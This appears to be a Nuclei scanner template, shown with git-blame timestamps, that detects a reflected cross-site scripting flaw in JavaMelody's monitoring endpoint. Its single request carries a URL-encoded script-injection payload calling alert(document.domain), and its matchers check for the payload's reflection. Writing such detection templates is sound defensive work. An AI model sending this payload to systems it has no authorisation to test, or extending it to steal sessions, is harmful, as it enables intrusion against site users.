2022-01-24 07:45:23 +00:00
id : java-melody-xss
2022-01-21 17:19:43 +00:00
info :
2022-09-21 21:42:27 +00:00
name : JavaMelody - Cross-Site Scripting
2022-01-21 17:19:43 +00:00
author : kailashbohara
2022-09-21 21:42:27 +00:00
severity : high
description : JavaMelody contains a cross-site scripting vulnerability via the monitoring parameter. An attacker can execute arbitrary script in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
2022-01-21 17:19:43 +00:00
reference :
- https://github.com/Hurdano/JavaMelody-XSS
2022-01-24 07:45:23 +00:00
- https://github.com/javamelody/javamelody/pull/555
2022-09-21 21:42:27 +00:00
classification :
cvss-metrics : CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
cvss-score : 7.2
cwe-id : CWE-79
2022-01-21 17:19:43 +00:00
tags : xss,javamelody
requests :
- method : GET
path :
2022-01-24 07:45:23 +00:00
- '{{BaseURL}}/monitoring?part=graph&graph=usedMemory%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
2022-01-21 17:19:43 +00:00
matchers-condition : and
matchers :
- type : word
words :
2022-01-24 07:45:23 +00:00
- '</script><script>alert(document.domain)</script>'
2022-01-21 17:19:43 +00:00
- type : word
2022-01-24 07:45:23 +00:00
part : header
2022-01-21 17:19:43 +00:00
words :
2022-01-24 07:45:23 +00:00
- text/html
2022-01-21 17:19:43 +00:00
- type : status
status :
- 200
2022-09-21 21:42:27 +00:00
# Enhanced by md on 2022/09/20
